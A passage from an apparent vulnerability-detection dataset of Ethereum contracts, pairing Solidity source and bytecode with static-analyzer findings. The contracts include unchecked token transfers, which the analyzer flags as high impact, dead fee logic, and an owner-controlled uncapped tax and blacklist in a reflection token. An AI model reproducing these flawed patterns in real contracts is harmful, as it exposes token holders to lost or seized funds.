fffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ced31c128a05e47f89836b0dd94f94757d55bb798c03c98376b3ff265419657964736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 10,321 |
0x5d8c108b2cb4797fa8d0efd4d7c54132ab0e66e0 | pragma solidity ^0.4.19;
// Turn the usage of callcode
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract CreatorEnabled {
address public creator = 0x0;
modifier onlyCreator() { require(msg.sender==creator); _; }
function changeCreator(address _to) public onlyCreator {
creator = _to;
}
}
// ERC20 standard
contract StdToken is SafeMath {
mapping(address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint public totalSupply = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns(bool) {
require(0x0!=_to);
balances[msg.sender] = safeSub(balances[msg.sender],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool) {
require(0x0!=_to);
balances[_to] = safeAdd(balances[_to],_value);
balances[_from] = safeSub(balances[_from],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
modifier onlyPayloadSize(uint _size) {
require(msg.data.length >= _size + 4);
_;
}
}
contract IGoldFee {
function calculateFee(address _sender, bool _isMigrationStarted, bool _isMigrationFinished, uint _mntpBalance, uint _value) public constant returns(uint);
}
contract GoldFee is CreatorEnabled {
mapping(address => bool) exceptAddresses;
function GoldFee() {
creator = msg.sender;
}
function getMin(uint out)returns (uint) {
// 0.002 GOLD is min fee
uint minFee = (2 * 1 ether) / 1000;
if (out < minFee) {
return minFee;
}
return out;
}
function getMax(uint out)returns (uint) {
// 0.02 GOLD is max fee
uint maxFee = (2 * 1 ether) / 100;
if (out >= maxFee) {
return maxFee;
}
return out;
}
function calculateFee(address _sender, bool _isMigrationStarted, bool _isMigrationFinished, uint _mntpBalance, uint _value) public constant returns(uint)
{
return 0;
//if this is an excaptional address
if (exceptAddresses[_sender]) {
return 0;
}
// When migration process is finished (1 year from Goldmint blockchain launch), then transaction fee is 1% GOLD.
if (_isMigrationFinished) {
return (_value / 100);
}
// If the sender holds 0 MNTP, then the transaction fee is 1% GOLD.
// If the sender holds at least 10 MNTP, then the transaction fee is 0.333333% GOLD,
// but not less than 0.002 MNTP
// If the sender holds at least 1000 MNTP, then the transaction fee is 0.033333% GOLD,
// but not less than 0.002 MNTP
// If the sender holds at least 10000 MNTP, then the transaction fee is 0.0333333% GOLD,
// but not more than 0.02 MNTP
if (_mntpBalance >= (10000 * 1 ether)) {
return getMax((_value / 100) / 30);
}
if (_mntpBalance >= (1000 * 1 ether)) {
return getMin((_value / 100) / 30);
}
if (_mntpBalance >= (10 * 1 ether)) {
return getMin((_value / 100) / 3);
}
// 1%
return getMin(_value / 100);
}
function addExceptAddress(address _address) public onlyCreator {
exceptAddresses[_address] = true;
}
function removeExceptAddress(address _address) public onlyCreator {
exceptAddresses[_address] = false;
}
function isAddressExcept(address _address) public constant returns(bool) {
return exceptAddresses[_address];
}
}
contract Gold is StdToken, CreatorEnabled {
string public constant name = "GoldMint GOLD cryptoasset";
string public constant symbol = "GOLD";
uint8 public constant decimals = 18;
// this is used to send fees (that is then distributed as rewards)
address public migrationAddress = 0x0;
address public storageControllerAddress = 0x0;
address public goldmintTeamAddress = 0x0;
IMNTP public mntpToken;
IGoldFee public goldFee;
bool public transfersLocked = false;
bool public contractLocked = false;
bool public migrationStarted = false;
bool public migrationFinished = false;
uint public totalIssued = 0;
uint public totalBurnt = 0;
// Modifiers:
modifier onlyMigration() { require(msg.sender == migrationAddress); _; }
modifier onlyMigrationOrStorageController() { require(msg.sender == migrationAddress || msg.sender == storageControllerAddress); _; }
modifier onlyCreatorOrStorageController() { require(msg.sender == creator || msg.sender == storageControllerAddress); _; }
modifier onlyIfUnlocked() { require(!transfersLocked); _; }
// Functions:
function Gold(address _mntpContractAddress, address _goldmintTeamAddress, address _goldFeeAddress) public {
creator = msg.sender;
mntpToken = IMNTP(_mntpContractAddress);
goldmintTeamAddress = _goldmintTeamAddress;
goldFee = IGoldFee(_goldFeeAddress);
}
function setCreator(address _address) public onlyCreator {
creator = _address;
}
function lockContract(bool _contractLocked) public onlyCreator {
contractLocked = _contractLocked;
}
function setStorageControllerContractAddress(address _address) public onlyCreator {
storageControllerAddress = _address;
}
function setMigrationContractAddress(address _migrationAddress) public onlyCreator {
migrationAddress = _migrationAddress;
}
function setGoldmintTeamAddress(address _teamAddress) public onlyCreator {
goldmintTeamAddress = _teamAddress;
}
function setGoldFeeAddress(address _goldFeeAddress) public onlyCreator {
goldFee = IGoldFee(_goldFeeAddress);
}
function issueTokens(address _who, uint _tokens) public onlyCreatorOrStorageController {
require(!contractLocked);
balances[_who] = safeAdd(balances[_who],_tokens);
totalSupply = safeAdd(totalSupply,_tokens);
totalIssued = safeAdd(totalIssued,_tokens);
Transfer(0x0, _who, _tokens);
}
function burnTokens(address _who, uint _tokens) public onlyMigrationOrStorageController {
require(!contractLocked);
balances[_who] = safeSub(balances[_who],_tokens);
totalSupply = safeSub(totalSupply,_tokens);
totalBurnt = safeAdd(totalBurnt,_tokens);
}
// there is no way to revert that
function startMigration() public onlyMigration {
require(false == migrationStarted);
migrationStarted = true;
}
// there is no way to revert that
function finishMigration() public onlyMigration {
require(true == migrationStarted);
migrationFinished = true;
}
function lockTransfer(bool _lock) public onlyMigration {
transfersLocked = _lock;
}
function transfer(address _to, uint256 _value) public onlyIfUnlocked onlyPayloadSize(2 * 32) returns(bool) {
uint yourCurrentMntpBalance = mntpToken.balanceOf(msg.sender);
// you can transfer if fee is ZERO
uint fee = goldFee.calculateFee(msg.sender, migrationStarted, migrationFinished, yourCurrentMntpBalance, _value);
uint sendThis = _value;
if (0 != fee) {
sendThis = safeSub(_value,fee);
// 1.Transfer fee
// A -> rewards account
//
// Each GOLD token transfer should send transaction fee to
// GoldmintMigration contract if Migration process is not started.
// Goldmint team if Migration process is started.
if (migrationStarted) {
super.transfer(goldmintTeamAddress, fee);
} else {
super.transfer(migrationAddress, fee);
}
}
// 2.Transfer
// A -> B
return super.transfer(_to, sendThis);
}
function transferFrom(address _from, address _to, uint256 _value) public onlyIfUnlocked returns(bool) {
uint yourCurrentMntpBalance = mntpToken.balanceOf(_from);
uint fee = goldFee.calculateFee(msg.sender, migrationStarted, migrationFinished, yourCurrentMntpBalance, _value);
if (0 != fee) {
// 1.Transfer fee
// A -> rewards account
//
// Each GOLD token transfer should send transaction fee to
// GoldmintMigration contract if Migration process is not started.
// Goldmint team if Migration process is started.
if (migrationStarted) {
super.transferFrom(_from, goldmintTeamAddress, fee);
} else {
super.transferFrom(_from, migrationAddress, fee);
}
}
// 2.Transfer
// A -> B
uint sendThis = safeSub(_value,fee);
return super.transferFrom(_from, _to, sendThis);
}
// Used to send rewards)
function transferRewardWithoutFee(address _to, uint _value) public onlyMigration onlyPayloadSize(2*32) {
require(0x0!=_to);
balances[migrationAddress] = safeSub(balances[migrationAddress],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(migrationAddress, _to, _value);
}
// This is an emergency function that can be called by Creator only
function rescueAllRewards(address _to) public onlyCreator {
require(0x0!=_to);
uint totalReward = balances[migrationAddress];
balances[_to] = safeAdd(balances[_to],totalReward);
balances[migrationAddress] = 0;
Transfer(migrationAddress, _to, totalReward);
}
function getTotalIssued() public constant returns (uint) {
return totalIssued;
}
function getTotalBurnt() public constant returns (uint) {
return totalBurnt;
}
}
contract IMNTP is StdToken {
// Additional methods that MNTP contract provides
function lockTransfer(bool _lock);
function issueTokens(address _who, uint _tokens);
function burnTokens(address _who, uint _tokens);
}
contract GoldmintMigration is CreatorEnabled {
IMNTP public mntpToken;
Gold public goldToken;
address public managerAddress = 0x0;
event MntpHold(address _ethAddress, string _gmAddress, uint256 _amount);
event MntpUnhold(address _ethAddress, uint256 _amount);
event GoldHold(address _ethAddress, string _gmAddress, uint256 _amount);
event GoldUnhold(address _ethAddress, uint256 _amount);
modifier onlyManagerOrCreator() { require(msg.sender == managerAddress || msg.sender == creator); _; }
function GoldmintMigration(address _mntpContractAddress, address _goldContractAddress) public {
creator = msg.sender;
require(_mntpContractAddress != 0);
require(_goldContractAddress != 0);
mntpToken = IMNTP(_mntpContractAddress);
goldToken = Gold(_goldContractAddress);
}
function setManagerAddress(address _address) public onlyCreator {
managerAddress = _address;
}
function lockMntpTransfers(bool _lock) public onlyCreator {
mntpToken.lockTransfer(_lock);
}
function lockGoldTransfers(bool _lock) public onlyCreator {
goldToken.lockTransfer(_lock);
}
function unholdMntp(address _ethAddress, uint _amount) public onlyManagerOrCreator {
uint balance = mntpToken.balanceOf(address(this));
require(balance >= _amount);
mntpToken.transfer(_ethAddress, _amount);
MntpUnhold(_ethAddress, _amount);
}
function unholdGold(address _ethAddress, uint _amount) public onlyManagerOrCreator {
uint balance = goldToken.balanceOf(address(this));
require(balance >= _amount);
goldToken.transfer(_ethAddress, _amount);
GoldUnhold(_ethAddress, _amount);
}
// do not allow to send money to this contract...
function() external payable {
revert();
}
} | 0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302d05d3f146100a957806341431908146100fe57806349440b911461013757806374580e2f1461015c57806393fa47f11461019557806394002b57146101ba578063c6e000b51461020f578063cf73a1bc14610264578063d30beffa146102b9578063f022a867146102fb575b600080fd5b34156100b457600080fd5b6100bc61033d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561010957600080fd5b610135600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610362565b005b341561014257600080fd5b61015a60048080351515906020019091905050610401565b005b341561016757600080fd5b610193600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610507565b005b34156101a057600080fd5b6101b8600480803515159060200190919050506105a5565b005b34156101c557600080fd5b6101cd6106ab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021a57600080fd5b6102226106d1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561026f57600080fd5b6102776106f7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102c457600080fd5b6102f9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b005b341561030657600080fd5b61033b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a1c565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103bd57600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561045c57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166320b44b29826040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082151515158152602001915050600060405180830381600087803b15156104f057600080fd5b6102c65a03f1151561050157600080fd5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561056257600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561060057600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166320b44b29826040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082151515158152602001915050600060405180830381600087803b151561069457600080fd5b6102c65a03f115156106a557600080fd5b50505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806107c757506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156107d257600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561089757600080fd5b6102c65a03f115156108a857600080fd5b5050506040518051905090508181101515156108c357600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561099057600080fd5b6102c65a03f115156109a157600080fd5b50505060405180519050507f63d8236e0fff900d2c6d8b87091b0402002eeab83e8d1d57a1e37a01dca2686f8383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ac657506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610ad157600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610b9657600080fd5b6102c65a03f11515610ba757600080fd5b505050604051805190509050818110151515610bc257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610c8f57600080fd5b6102c65a03f11515610ca057600080fd5b50505060405180519050507ff052a06eb6fdc28225b75b6cb4f69d22100f0bc88c3e37d8b7b2ed59cea2ed998383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050505600a165627a7a7230582000ab7c7e0f5b1c1b348cdd6d1f1790fbef4037c8982e4c446db1e209e9ff9e3b0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 10,322 |
0x2a964906259725a28eeb0a7bfd39f0b86a140ad2 | /**
*Submitted for verification at Etherscan.io on 2022-03-04
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract StreamersFund is Context, IERC20, Ownable {
using Address for address payable;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isBot;
address[] private _excluded;
bool public swapEnabled;
bool public tradingActive;
bool private swapping;
IRouter public router;
address public pair;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1_000_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public swapTokensAtAmount = 500_000 * 10**_decimals;
uint256 public maxTxAmount = 10_000_000 * 10**_decimals;
address public marketingWallet = 0xb04dFE27757E3448145044E038b9092460eF121D;
address public lpRecipient = 0x3fb75798D0D5b34D438a4319aec939f53D1Ce06d ;
string private constant _name = "Streamers Fund";
string private constant _symbol = "SFUND";
struct Taxes {
uint256 rfi;
uint256 marketing;
uint256 liquidity;
}
Taxes public taxes = Taxes(3,7,2);
struct TotFeesPaidStruct{
uint256 rfi;
uint256 marketing;
uint256 liquidity;
}
TotFeesPaidStruct public totFeesPaid;
struct valuesFromGetValues{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rMarketing;
uint256 rLiquidity;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tMarketing;
uint256 tLiquidity;
}
modifier lockTheSwap {
swapping = true;
_;
swapping = false;
}
constructor() {
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory())
.createPair(address(this), _router.WETH());
router = _router;
pair = _pair;
excludeFromReward(pair);
_rOwned[owner()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingWallet]=true;
emit Transfer(address(0), owner(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferRfi) {
valuesFromGetValues memory s = _getValues(tAmount, false);
return s.rAmount;
} else {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount/currentRate;
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function setTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity) public onlyOwner {
taxes = Taxes(_rfi, _marketing, _liquidity);
}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
_rTotal -=rRfi;
totFeesPaid.rfi +=tRfi;
}
function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
totFeesPaid.liquidity +=tLiquidity;
if(_isExcluded[address(this)])
{
_tOwned[address(this)]+=tLiquidity;
}
_rOwned[address(this)] +=rLiquidity;
}
function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
totFeesPaid.marketing +=tMarketing;
if(_isExcluded[address(this)])
{
_tOwned[address(this)]+=tMarketing;
}
_rOwned[address(this)] +=rMarketing;
}
function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) {
to_return = _getTValues(tAmount, takeFee);
(to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rMarketing, to_return.rLiquidity) = _getRValues(to_return, tAmount, takeFee, _getRate());
return to_return;
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) {
if(!takeFee) {
s.tTransferAmount = tAmount;
return s;
}
s.tRfi = tAmount*taxes.rfi/100;
s.tMarketing = tAmount*taxes.marketing/100;
s.tLiquidity = tAmount*taxes.liquidity/100;
s.tTransferAmount = tAmount-s.tRfi-s.tMarketing-s.tLiquidity;
return s;
}
function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity) {
rAmount = tAmount*currentRate;
if(!takeFee) {
return(rAmount, rAmount, 0,0,0);
}
rRfi = s.tRfi*currentRate;
rMarketing = s.tMarketing*currentRate;
rLiquidity = s.tLiquidity*currentRate;
rTransferAmount = rAmount-rRfi-rMarketing-rLiquidity;
return (rAmount, rTransferAmount, rRfi,rMarketing,rLiquidity);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply/tSupply;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply-_rOwned[_excluded[i]];
tSupply = tSupply-_tOwned[_excluded[i]];
}
if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private returns(bool){
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
require(!isBot[from] && !isBot[to], "You are blacklisted");
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
require(amount <= maxTxAmount ,"Amount is exceeding maxTxAmount");
}
bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
if(!swapping && swapEnabled && canSwap && from != pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
swapAndLiquify(swapTokensAtAmount);
}
_tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));
return true;
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
valuesFromGetValues memory s = _getValues(tAmount, takeFee);
if (_isExcluded[sender] ) { //from excluded
_tOwned[sender] = _tOwned[sender]-tAmount;
}
if (_isExcluded[recipient]) { //to excluded
_tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
}
_rOwned[sender] = _rOwned[sender]-s.rAmount;
_rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount;
if(s.rRfi > 0 || s.tRfi > 0) _reflectRfi(s.rRfi, s.tRfi);
if(s.rLiquidity > 0 || s.tLiquidity > 0) _takeLiquidity(s.rLiquidity,s.tLiquidity);
if(s.rMarketing > 0 || s.tMarketing > 0) _takeMarketing(s.rMarketing, s.tMarketing);
emit Transfer(sender, recipient, s.tTransferAmount);
if(s.tLiquidity + s.tMarketing > 0) emit Transfer(sender, address(this), s.tLiquidity + s.tMarketing);
}
function swapAndLiquify(uint256 tokens) private lockTheSwap{
// Split the contract balance into halves
uint256 denominator = (taxes.liquidity + taxes.marketing ) * 2;
uint256 tokensToAddLiquidityWith = tokens * taxes.liquidity / denominator;
uint256 toSwap = tokens - tokensToAddLiquidityWith;
uint256 initialBalance = address(this).balance;
swapTokensForBNB(toSwap);
uint256 deltaBalance = address(this).balance - initialBalance;
uint256 unitBalance= deltaBalance / (denominator - taxes.liquidity);
uint256 bnbToAddLiquidityWith = unitBalance * taxes.liquidity;
if(bnbToAddLiquidityWith > 0){
// Add liquidity to pancake
addLiquidity(tokensToAddLiquidityWith, bnbToAddLiquidityWith);
}
uint256 marketingAmt = unitBalance * 2 * taxes.marketing;
if(marketingAmt > 0){
payable(marketingWallet).sendValue(marketingAmt);
}
}
function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(router), tokenAmount);
// add the liquidity
